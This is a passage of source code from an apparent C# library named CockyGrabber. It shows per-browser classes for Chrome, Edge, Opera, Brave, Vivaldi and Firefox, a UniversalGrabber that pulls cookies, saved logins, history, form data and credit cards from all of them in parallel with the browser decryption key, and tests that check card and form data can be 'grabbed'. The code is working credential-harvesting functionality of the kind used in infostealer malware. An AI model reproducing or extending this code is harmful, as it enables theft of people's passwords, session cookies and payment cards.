"FormHistory couldn't be grabbed!"); 161 | Console.WriteLine(x.GetRandom()); 162 | } 163 | #endregion 164 | 165 | #region GetCreditCards() Tests 166 | [TestMethod] 167 | public void TestBlinkGrabberGetCreditCards() 168 | { 169 | Console.WriteLine($"[Testing with {_blinkGrabber.GetType().Name}]"); 170 | if (!_blinkGrabber.AnyWebDataExists()) 171 | { 172 | Assert.Fail(); 173 | return; 174 | } 175 | var x = _blinkGrabber.GetCreditCards(); 176 | Assert.IsTrue(x.Count() > 0, "Credit Cards couldn't be grabbed!"); 177 | Console.WriteLine(x.GetRandom()); 178 | } 179 | [TestMethod] 180 | public void TestGeckoGrabberGetCreditCards() 181 | { 182 | Console.WriteLine($"[Testing with {_geckoGrabber.GetType().Name}]"); 183 | if (!_geckoGrabber.AnyAutoFillProfilesExists()) 184 | { 185 | Assert.Fail(); 186 | return; 187 | } 188 | var x = _geckoGrabber.GetCreditCards(); 189 | Assert.IsTrue(x.Count() > 0, "Credit Cards couldn't be grabbed!"); 190 | Console.WriteLine(x.GetRandom()); 191 | } 192 | #endregion 193 | } 194 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/Tools.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Linq; 3 | using CockyGrabber.Grabbers; 4 | using static CockyGrabber.Test.Globals; 5 | 6 | namespace CockyGrabber.Test 7 | { 8 | public static class Tools 9 | { 10 | public static BlinkGrabber GetAnyBlinkBrowser() 11 | { 12 | foreach (BlinkGrabber g in UG.BlinkGrabbers) 13 | { 14 | if (g.EverythingExists()) return g; 15 | } 16 | return null; 17 | } 18 | public static GeckoGrabber GetAnyGeckoBrowser() 19 | { 20 | foreach (GeckoGrabber g in UG.GeckoGrabbers) 21 | { 22 | if (g.EverythingExists()) return g; 23 | } 24 | return null; 25 | } 26 | public static byte[] GetKeyFromAnyBlinkBrowser() 27 | { 28 | return GetAnyBlinkBrowser().GetKey(); 29 | } 30 | 31 | public static T GetRandom(this IEnumerable x) 32 | { 33 | return x.ToArray()[Rnd.Next(0, x.Count())]; 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.Test/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.1.32421.90 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CockyGrabber", "CockyGrabber\CockyGrabber.csproj", "{4B568F36-1D92-4937-A8A0-F9960B1F14BA}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CockyGrabber.Test", "CockyGrabber.Test\CockyGrabber.Test.csproj", "{0BFF3501-EFFF-477A-ACAE-67F79129007D}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {4B568F36-1D92-4937-A8A0-F9960B1F14BA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {4B568F36-1D92-4937-A8A0-F9960B1F14BA}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {4B568F36-1D92-4937-A8A0-F9960B1F14BA}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {4B568F36-1D92-4937-A8A0-F9960B1F14BA}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {0BFF3501-EFFF-477A-ACAE-67F79129007D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {0BFF3501-EFFF-477A-ACAE-67F79129007D}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {0BFF3501-EFFF-477A-ACAE-67F79129007D}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {0BFF3501-EFFF-477A-ACAE-67F79129007D}.Release|Any CPU.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {D768DD95-A03D-46FB-8828-8C061F8D5195} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/CockyGrabber.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Release 7 | AnyCPU 8 | {4B568F36-1D92-4937-A8A0-F9960B1F14BA} 9 | Library 10 | Properties 11 | CockyGrabber 12 | CockyGrabber 13 | v4.8 14 | 512 15 | true 16 | 17 | 18 | 19 | 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | 28 | 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | 38 | ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll 39 | 40 | 41 | ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll 42 | 43 | 44 | 45 | 46 | 47 | ..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.115.5\lib\net46\System.Data.SQLite.dll 48 | 49 | 50 | ..\packages\System.Data.SQLite.EF6.1.0.115.5\lib\net46\System.Data.SQLite.EF6.dll 51 | 52 | 53 | ..\packages\System.Data.SQLite.Linq.1.0.115.5\lib\net46\System.Data.SQLite.Linq.dll 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | Dieses Projekt verweist auf mindestens ein NuGet-Paket, das auf diesem Computer fehlt. Verwenden Sie die Wiederherstellung von NuGet-Paketen, um die fehlenden Dateien herunterzuladen. Weitere Informationen finden Sie unter "http://go.microsoft.com/fwlink/?LinkID=322105". Die fehlende Datei ist "{0}". 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Exceptions/GrabberError.cs: -------------------------------------------------------------------------------- 1 | namespace CockyGrabber 2 | { 3 | public enum GrabberError 4 | { 5 | UnknownError, 6 | 7 | // IO-Exceptions: 8 | CookiesNotFound, 9 | LoginsNotFound, 10 | HistoryNotFound, 11 | BookmarksNotFound, 12 | DownloadsNotFound, 13 | FormHistoryNotFound, 14 | CreditCardsNotFound, 15 | LocalStateNotFound, 16 | MozGlueNotFound, 17 | Nss3NotFound, 18 | Nss3CouldNotBeLoaded, 19 | ProfilesNotFound, 20 | 21 | // WinApi: 22 | AddressNotFound, 23 | FunctionNotFound, 24 | 25 | // Other: 26 | CouldNotSetProfile, 27 | ProcessIsNot64Bit, 28 | 29 | NoArgumentsSpecified, 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Exceptions/GrabberException.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace CockyGrabber 4 | { 5 | public class GrabberException : Exception 6 | { 7 | public GrabberError Error { get; set; } 8 | public GrabberException(GrabberError e) : base() 9 | { 10 | Error = e; 11 | } 12 | 13 | public GrabberException(GrabberError e, string msg) : base(msg) 14 | { 15 | Error = e; 16 | } 17 | 18 | public GrabberException(GrabberError e, string msg, Exception innerException) : base(msg, innerException) 19 | { 20 | Error = e; 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Grabbers/BraveGrabber.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace CockyGrabber.Grabbers 4 | { 5 | public class BraveGrabber : BlinkGrabber 6 | { 7 | public override string DataRootPath 8 | { 9 | get 10 | { 11 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\BraveSoftware\\Brave-Browser\\User Data"; 12 | } 13 | } 14 | public override string LocalStatePath 15 | { 16 | get 17 | { 18 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\BraveSoftware\\Brave-Browser\\User Data\\Local State"; 19 | } 20 | } 21 | public override string CookiePath 22 | { 23 | get 24 | { 25 | return $"\\Network\\Cookies"; 26 | } 27 | } 28 | public override string LoginDataPath 29 | { 30 | get 31 | { 32 | return $"\\Login Data"; 33 | } 34 | } 35 | public override string HistoryPath 36 | { 37 | get 38 | { 39 | return $"\\History"; 40 | } 41 | } 42 | public override string BookmarkPath 43 | { 44 | get 45 | { 46 | return $"\\Bookmarks"; 47 | } 48 | } 49 | public override string WebDataPath 50 | { 51 | get 52 | { 53 | return $"\\Web Data"; 54 | } 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Grabbers/ChromeGrabber.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace CockyGrabber.Grabbers 4 | { 5 | public class ChromeGrabber : BlinkGrabber 6 | { 7 | public override string DataRootPath 8 | { 9 | get 10 | { 11 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\Google\\Chrome\\User Data"; 12 | } 13 | } 14 | public override string LocalStatePath 15 | { 16 | get 17 | { 18 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\Google\\Chrome\\User Data\\Local State"; 19 | } 20 | } 21 | public override string CookiePath 22 | { 23 | get 24 | { 25 | return $"\\Network\\Cookies"; 26 | } 27 | } 28 | public override string LoginDataPath 29 | { 30 | get 31 | { 32 | return $"\\Login Data"; 33 | } 34 | } 35 | public override string HistoryPath 36 | { 37 | get 38 | { 39 | return $"\\History"; 40 | } 41 | } 42 | public override string BookmarkPath 43 | { 44 | get 45 | { 46 | return $"\\Bookmarks"; 47 | } 48 | } 49 | public override string WebDataPath 50 | { 51 | get 52 | { 53 | return $"\\Web Data"; 54 | } 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Grabbers/EdgeGrabber.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace CockyGrabber.Grabbers 4 | { 5 | public class EdgeGrabber : BlinkGrabber 6 | { 7 | public override string DataRootPath 8 | { 9 | get 10 | { 11 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\Microsoft\\Edge\\User Data"; 12 | } 13 | } 14 | public override string LocalStatePath 15 | { 16 | get 17 | { 18 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\Microsoft\\Edge\\User Data\\Local State"; 19 | } 20 | } 21 | public override string CookiePath 22 | { 23 | get 24 | { 25 | return $"\\Network\\Cookies"; 26 | } 27 | } 28 | public override string LoginDataPath 29 | { 30 | get 31 | { 32 | return $"\\Login Data"; 33 | } 34 | } 35 | public override string HistoryPath 36 | { 37 | get 38 | { 39 | return $"\\History"; 40 | } 41 | } 42 | public override string BookmarkPath 43 | { 44 | get 45 | { 46 | return $"\\Bookmarks"; 47 | } 48 | } 49 | public override string WebDataPath 50 | { 51 | get 52 | { 53 | return $"\\Web Data"; 54 | } 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Grabbers/FirefoxGrabber.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace CockyGrabber.Grabbers 4 | { 5 | public class FirefoxGrabber : GeckoGrabber 6 | { 7 | public override string ProfileDirPath 8 | { 9 | get 10 | { 11 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\Mozilla\\Firefox\\Profiles"; 12 | } 13 | } 14 | } 15 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Grabbers/OperaGrabber.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace CockyGrabber.Grabbers 4 | { 5 | public class OperaGrabber : BlinkGrabber 6 | { 7 | public override string DataRootPath 8 | { 9 | get 10 | { 11 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\Opera Software\\Opera Stable"; 12 | } 13 | } 14 | public override string LocalStatePath 15 | { 16 | get 17 | { 18 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\Opera Software\\Opera Stable\\Local State"; 19 | } 20 | } 21 | public override string CookiePath 22 | { 23 | get 24 | { 25 | return $"\\Cookies"; 26 | } 27 | } 28 | public override string LoginDataPath 29 | { 30 | get 31 | { 32 | return $"\\Login Data"; 33 | } 34 | } 35 | public override string HistoryPath 36 | { 37 | get 38 | { 39 | return $"\\History"; 40 | } 41 | } 42 | public override string BookmarkPath 43 | { 44 | get 45 | { 46 | return $"\\Bookmarks"; 47 | } 48 | } 49 | public override string WebDataPath 50 | { 51 | get 52 | { 53 | return $"\\Web Data"; 54 | } 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Grabbers/OperaGxGrabber.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace CockyGrabber.Grabbers 4 | { 5 | public class OperaGxGrabber : BlinkGrabber 6 | { 7 | public override string DataRootPath 8 | { 9 | get 10 | { 11 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\Opera Software\\Opera GX Stable"; 12 | } 13 | } 14 | public override string LocalStatePath 15 | { 16 | get 17 | { 18 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\Opera Software\\Opera GX Stable\\Local State"; 19 | } 20 | } 21 | public override string CookiePath 22 | { 23 | get 24 | { 25 | return $"\\Network\\Cookies"; 26 | } 27 | } 28 | public override string LoginDataPath 29 | { 30 | get 31 | { 32 | return $"\\Login Data"; 33 | } 34 | } 35 | public override string HistoryPath 36 | { 37 | get 38 | { 39 | return $"\\History"; 40 | } 41 | } 42 | public override string BookmarkPath 43 | { 44 | get 45 | { 46 | return $"\\Bookmarks"; 47 | } 48 | } 49 | public override string WebDataPath 50 | { 51 | get 52 | { 53 | return $"\\Web Data"; 54 | } 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Grabbers/UniversalGrabber.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Threading.Tasks; 3 | 4 | namespace CockyGrabber.Grabbers 5 | { 6 | public class UniversalGrabber 7 | { 8 | public BlinkGrabber[] BlinkGrabbers = 9 | { 10 | new ChromeGrabber(), 11 | new EdgeGrabber(), 12 | new OperaGxGrabber(), 13 | new OperaGrabber(), 14 | new BraveGrabber(), 15 | new VivaldiGrabber(), 16 | }; 17 | public GeckoGrabber[] GeckoGrabbers = 18 | { 19 | new FirefoxGrabber(), 20 | }; 21 | 22 | #region GetCookies() 23 | public IEnumerable GetAllBlinkCookiesBy(Blink.Cookie.Header by, string value) 24 | { 25 | List cookies = new List(); 26 | Parallel.ForEach(BlinkGrabbers, g => // Get Cookies from all BlinkGrabbers at the same time (parallel): 27 | { 28 | // Add cookies to list if they exist: 29 | if (g.AnyCookiesExist() && g.KeyExists()) 30 | cookies.AddRange(g.GetCookiesBy(by, value)); 31 | }); 32 | 33 | return cookies; 34 | } 35 | public IEnumerable GetAllBlinkCookies() 36 | { 37 | List cookies = new List(); 38 | Parallel.ForEach(BlinkGrabbers, g => // Get Cookies from all BlinkGrabbers at the same time (parallel): 39 | { 40 | // Add the cookies to the list if they exist: 41 | if (g.AnyCookiesExist() && g.KeyExists()) 42 | cookies.AddRange(g.GetCookies()); 43 | }); 44 | 45 | return cookies; 46 | } 47 | 48 | public IEnumerable GetAllGeckoCookiesBy(Gecko.Cookie.Header by, string value) 49 | { 50 | List cookies = new List(); 51 | Parallel.ForEach(GeckoGrabbers, g => // Get Cookies from all GeckoGrabbers at the same time (parallel): 52 | { 53 | // Add the cookies to the list if they exist: 54 | if (g.AnyCookiesExist()) 55 | cookies.AddRange(g.GetCookiesBy(by, value)); 56 | }); 57 | 58 | return cookies; 59 | } 60 | public IEnumerable GetAllGeckoCookies() 61 | { 62 | List cookies = new List(); 63 | Parallel.ForEach(GeckoGrabbers, g => // Get Cookies from all GeckoGrabbers at the same time (parallel): 64 | { 65 | // Add the cookies to the list if they exist: 66 | if (g.AnyCookiesExist()) 67 | cookies.AddRange(g.GetCookies()); 68 | }); 69 | 70 | return cookies; 71 | } 72 | #endregion 73 | 74 | #region GetLogins() 75 | public IEnumerable GetAllBlinkLoginsBy(Blink.Login.Header by, string value) 76 | { 77 | List logins = new List(); 78 | Parallel.ForEach(BlinkGrabbers, g => // Get Logins from all BlinkGrabbers at the same time (parallel): 79 | { 80 | // Add the logins to the list if they exist: 81 | if (g.AnyLoginsExist() && g.KeyExists()) 82 | logins.AddRange(g.GetLoginsBy(by, value)); 83 | }); 84 | 85 | return logins; 86 | } 87 | public IEnumerable GetAllBlinkLogins() 88 | { 89 | List logins = new List(); 90 | Parallel.ForEach(BlinkGrabbers, g => // Get Logins from all BlinkGrabbers at the same time (parallel): 91 | { 92 | // Add the logins to the list if they exist: 93 | if (g.AnyLoginsExist() && g.KeyExists()) 94 | logins.AddRange(g.GetLogins()); 95 | }); 96 | 97 | return logins; 98 | } 99 | 100 | public IEnumerable GetAllGeckoLoginsBy(Gecko.Login.Header by, string value) 101 | { 102 | List logins = new List(); 103 | Parallel.ForEach(GeckoGrabbers, g => // Get Logins from all GeckoGrabbers at the same time (parallel): 104 | { 105 | // Add the logins to the list if they exist: 106 | if (g.AnyLoginsExist()) 107 | logins.AddRange(g.GetLoginsBy(by, value)); 108 | }); 109 | 110 | return logins; 111 | } 112 | public IEnumerable GetAllGeckoLogins() 113 | { 114 | List logins = new List(); 115 | Parallel.ForEach(GeckoGrabbers, g => // Get Logins from all GeckoGrabbers at the same time (parallel): 116 | { 117 | // Add the logins to the list if they exist: 118 | if (g.AnyLoginsExist()) 119 | logins.AddRange(g.GetLogins()); 120 | }); 121 | 122 | return logins; 123 | } 124 | #endregion 125 | 126 | #region GetHistories() 127 | public IEnumerable GetAllBlinkHistoriesBy(Blink.Site.Header by, string value) 128 | { 129 | List sites = new List(); 130 | Parallel.ForEach(BlinkGrabbers, g => // Get Histories from all BlinkGrabbers at the same time (parallel): 131 | { 132 | // Add the history to the list if it exists: 133 | if (g.AnyHistoryExists()) 134 | sites.AddRange(g.GetHistoryBy(by, value)); 135 | }); 136 | 137 | return sites; 138 | } 139 | public IEnumerable GetAllBlinkHistories() 140 | { 141 | List sites = new List(); 142 | Parallel.ForEach(BlinkGrabbers, g => // Get Histories from all BlinkGrabbers at the same time (parallel): 143 | { 144 | // Add the history to the list if it exists: 145 | if (g.AnyHistoryExists()) 146 | sites.AddRange(g.GetHistory()); 147 | }); 148 | 149 | return sites; 150 | } 151 | 152 | public IEnumerable GetAllGeckoHistoriesBy(Gecko.Site.Header by, string value) 153 | { 154 | List sites = new List(); 155 | Parallel.ForEach(GeckoGrabbers, g => // Get Histories from all GeckoGrabbers at the same time (parallel): 156 | { 157 | // Add the history to the list if it exists: 158 | if (g.AnyHistoryExists()) 159 | sites.AddRange(g.GetHistoryBy(by, value)); 160 | }); 161 | 162 | return sites; 163 | } 164 | public IEnumerable GetAllGeckoHistories() 165 | { 166 | List sites = new List(); 167 | Parallel.ForEach(GeckoGrabbers, g => // Get Histories from all GeckoGrabbers at the same time (parallel): 168 | { 169 | // Add the history to the list if it exists: 170 | if (g.AnyHistoryExists()) 171 | sites.AddRange(g.GetHistory()); 172 | }); 173 | 174 | return sites; 175 | } 176 | #endregion 177 | 178 | #region GetBookmarks() 179 | public IEnumerable GetAllBlinkBookmarksBy(Blink.Bookmark.Header by, string value) 180 | { 181 | List bookmarks = new List(); 182 | Parallel.ForEach(BlinkGrabbers, g => // Get Bookmarks from all BlinkGrabbers at the same time (parallel): 183 | { 184 | // Add the bookmarks to the list if they exist: 185 | if (g.AnyBookmarksExist()) 186 | bookmarks.AddRange(g.GetBookmarksBy(by, value)); 187 | }); 188 | 189 | return bookmarks; 190 | } 191 | public IEnumerable GetAllBlinkBookmarks() 192 | { 193 | List bookmarks = new List(); 194 | Parallel.ForEach(BlinkGrabbers, g => // Get Bookmarks from all BlinkGrabbers at the same time (parallel): 195 | { 196 | // Add the bookmarks to the list if they exist: 197 | if (g.AnyBookmarksExist()) 198 | bookmarks.AddRange(g.GetBookmarks()); 199 | }); 200 | 201 | return bookmarks; 202 | } 203 | 204 | public IEnumerable GetAllGeckoBookmarksBy(Gecko.Bookmark.Header by, string value) 205 | { 206 | List bookmarks = new List(); 207 | Parallel.ForEach(GeckoGrabbers, g => // Get Bookmarks from all GeckoGrabbers at the same time (parallel): 208 | { 209 | // Add the bookmarks to the list if they exist: 210 | if (g.AnyBookmarksExist()) 211 | bookmarks.AddRange(g.GetBookmarksBy(by, value)); 212 | }); 213 | 214 | return bookmarks; 215 | } 216 | public IEnumerable GetAllGeckoBookmarks() 217 | { 218 | List bookmarks = new List(); 219 | Parallel.ForEach(GeckoGrabbers, g => // Get Bookmarks from all GeckoGrabbers at the same time (parallel): 220 | { 221 | // Add the bookmarks to the list if they exist: 222 | if (g.AnyBookmarksExist()) 223 | bookmarks.AddRange(g.GetBookmarks()); 224 | }); 225 | 226 | return bookmarks; 227 | } 228 | #endregion 229 | 230 | #region GetDownloads() 231 | public IEnumerable GetAllBlinkDownloadsBy(Blink.Download.Header by, string value) 232 | { 233 | List downloads = new List(); 234 | Parallel.ForEach(BlinkGrabbers, g => // Get Downloads from all BlinkGrabbers at the same time (parallel): 235 | { 236 | // Add the downloads to the list if they exist: 237 | if (g.AnyDownloadsExist()) 238 | downloads.AddRange(g.GetDownloadsBy(by, value)); 239 | }); 240 | 241 | return downloads; 242 | } 243 | public IEnumerable GetAllBlinkDownloads() 244 | { 245 | List downloads = new List(); 246 | Parallel.ForEach(BlinkGrabbers, g => // Get Downloads from all BlinkGrabbers at the same time (parallel): 247 | { 248 | // Add the downloads to the list if they exist: 249 | if (g.AnyDownloadsExist()) 250 | downloads.AddRange(g.GetDownloads()); 251 | }); 252 | 253 | return downloads; 254 | } 255 | 256 | public IEnumerable GetAllGeckoDownloadsBy(Gecko.Download.Header by, string value) 257 | { 258 | List downloads = new List(); 259 | Parallel.ForEach(GeckoGrabbers, g => // Get Downloads from all GeckoGrabbers at the same time (parallel): 260 | { 261 | // Add the downloads to the list if they exist: 262 | if (g.AnyDownloadsExist()) 263 | downloads.AddRange(g.GetDownloadsBy(by, value)); 264 | }); 265 | 266 | return downloads; 267 | } 268 | public IEnumerable GetAllGeckoDownloads() 269 | { 270 | List downloads = new List(); 271 | Parallel.ForEach(GeckoGrabbers, g => // Get Downloads from all GeckoGrabbers at the same time (parallel): 272 | { 273 | // Add the downloads to the list if they exist: 274 | if (g.AnyDownloadsExist()) 275 | downloads.AddRange(g.GetDownloads()); 276 | }); 277 | 278 | return downloads; 279 | } 280 | #endregion 281 | 282 | #region GetFormHistories() 283 | public IEnumerable GetAllBlinkFormHistoriesBy(Blink.Form.Header by, string value) 284 | { 285 | List forms = new List(); 286 | Parallel.ForEach(BlinkGrabbers, g => // Get Form Histories from all BlinkGrabbers at the same time (parallel): 287 | { 288 | // Add the forms to the list if they exist: 289 | if (g.AnyWebDataExists()) 290 | forms.AddRange(g.GetFormHistoryBy(by, value)); 291 | }); 292 | 293 | return forms; 294 | } 295 | public IEnumerable GetAllBlinkFormHistories() 296 | { 297 | List forms = new List(); 298 | Parallel.ForEach(BlinkGrabbers, g => // Get Form Histories from all BlinkGrabbers at the same time (parallel): 299 | { 300 | // Add the forms to the list if they exist: 301 | if (g.AnyWebDataExists()) 302 | forms.AddRange(g.GetFormHistory()); 303 | }); 304 | 305 | return forms; 306 | } 307 | 308 | public IEnumerable GetAllGeckoFormHistoriesBy(Gecko.Form.Header by, string value) 309 | { 310 | List forms = new List(); 311 | Parallel.ForEach(GeckoGrabbers, g => // Get Form Histories from all GeckoGrabbers at the same time (parallel): 312 | { 313 | // Add the forms to the list if they exist: 314 | if (g.AnyFormHistoryExists()) 315 | forms.AddRange(g.GetFormHistoryBy(by, value)); 316 | }); 317 | 318 | return forms; 319 | } 320 | public IEnumerable GetAllGeckoFormHistories() 321 | { 322 | List forms = new List(); 323 | Parallel.ForEach(GeckoGrabbers, g => // Get Form Histories from all GeckoGrabbers at the same time (parallel): 324 | { 325 | // Add the forms to the list if they exist: 326 | if (g.AnyDownloadsExist()) 327 | forms.AddRange(g.GetFormHistory()); 328 | }); 329 | 330 | return forms; 331 | } 332 | #endregion 333 | 334 | #region GetCreditCards() 335 | public IEnumerable GetAllBlinkCreditCardsBy(Blink.CreditCard.Header by, string value) 336 | { 337 | List ccs = new List(); 338 | Parallel.ForEach(BlinkGrabbers, g => // Get Credit Cards from all BlinkGrabbers at the same time (parallel): 339 | { 340 | // Add the credit cards to the list if they exist: 341 | if (g.AnyWebDataExists() && g.KeyExists()) 342 | ccs.AddRange(g.GetCreditCardsBy(by, value)); 343 | }); 344 | 345 | return ccs; 346 | } 347 | public IEnumerable GetAllBlinkCreditCards() 348 | { 349 | List ccs = new List(); 350 | Parallel.ForEach(BlinkGrabbers, g => // Get Credit Cards from all BlinkGrabbers at the same time (parallel): 351 | { 352 | // Add the credit cards to the list if they exist: 353 | if (g.AnyWebDataExists() && g.KeyExists()) 354 | ccs.AddRange(g.GetCreditCards()); 355 | }); 356 | 357 | return ccs; 358 | } 359 | 360 | public IEnumerable GetAllGeckoCreditCardsBy(Gecko.CreditCard.Header by, string value) 361 | { 362 | List ccs = new List(); 363 | Parallel.ForEach(GeckoGrabbers, g => // Get Credit Cards from all GeckoGrabbers at the same time (parallel): 364 | { 365 | // Add the credit cards to the list if they exist: 366 | if (g.AnyAutoFillProfilesExists()) 367 | ccs.AddRange(g.GetCreditCardsBy(by, value)); 368 | }); 369 | 370 | return ccs; 371 | } 372 | public IEnumerable GetAllGeckoCreditCards() 373 | { 374 | List ccs = new List(); 375 | Parallel.ForEach(GeckoGrabbers, g => // Get Credit Cards from all GeckoGrabbers at the same time (parallel): 376 | { 377 | // Add the credit cards to the list if they exist: 378 | if (g.AnyAutoFillProfilesExists()) 379 | ccs.AddRange(g.GetCreditCards()); 380 | }); 381 | 382 | return ccs; 383 | } 384 | #endregion 385 | } 386 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Grabbers/VivaldiGrabber.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace CockyGrabber.Grabbers 4 | { 5 | public class VivaldiGrabber : BlinkGrabber 6 | { 7 | public override string DataRootPath 8 | { 9 | get 10 | { 11 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\Vivaldi\\User Data"; 12 | } 13 | } 14 | public override string LocalStatePath 15 | { 16 | get 17 | { 18 | return $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\Vivaldi\\User Data\\Local State"; 19 | } 20 | } 21 | public override string CookiePath 22 | { 23 | get 24 | { 25 | return $"\\Network\\Cookies"; 26 | } 27 | } 28 | public override string LoginDataPath 29 | { 30 | get 31 | { 32 | return $"\\Login Data"; 33 | } 34 | } 35 | public override string HistoryPath 36 | { 37 | get 38 | { 39 | return $"\\History"; 40 | } 41 | } 42 | public override string BookmarkPath 43 | { 44 | get 45 | { 46 | return $"\\Bookmarks"; 47 | } 48 | } 49 | public override string WebDataPath 50 | { 51 | get 52 | { 53 | return $"\\Web Data"; 54 | } 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Blink/Bookmark.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Blink 7 | { 8 | public class Bookmark 9 | { 10 | public enum Header 11 | { 12 | date_added, 13 | guid, 14 | id, 15 | name, 16 | type, 17 | url, 18 | } 19 | 20 | /// 21 | /// The date the bookmark was added. 22 | /// 23 | public DateTimeOffset DateAdded { get; set; } 24 | /// 25 | /// The guid of the bookmark. 26 | /// 27 | public string Guid { get; set; } 28 | /// 29 | /// The identifier of the bookmark. 30 | /// 31 | public int Id { get; set; } 32 | /// 33 | /// The bookmark's name. 34 | /// 35 | public string Name { get; set; } 36 | /// 37 | /// The bookmark type. 38 | /// 39 | public string Type { get; set; } 40 | /// 41 | /// The URL of the bookamrk. 42 | /// 43 | public string Url { get; set; } 44 | 45 | public override string ToString() => $"Name = '{Name}' | Url = '{Url}'"; 46 | public string ToJson() => Tools.BrowserInformationToJson(this); 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Models/Blink/Cookie.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Utility; 2 | using System; 3 | 4 | namespace CockyGrabber 5 | { 6 | public static partial class Blink 7 | { 8 | public class Cookie 9 | { 10 | public enum SameSiteType 11 | { 12 | /// 13 | /// 'unspecified' corresponds to a cookie 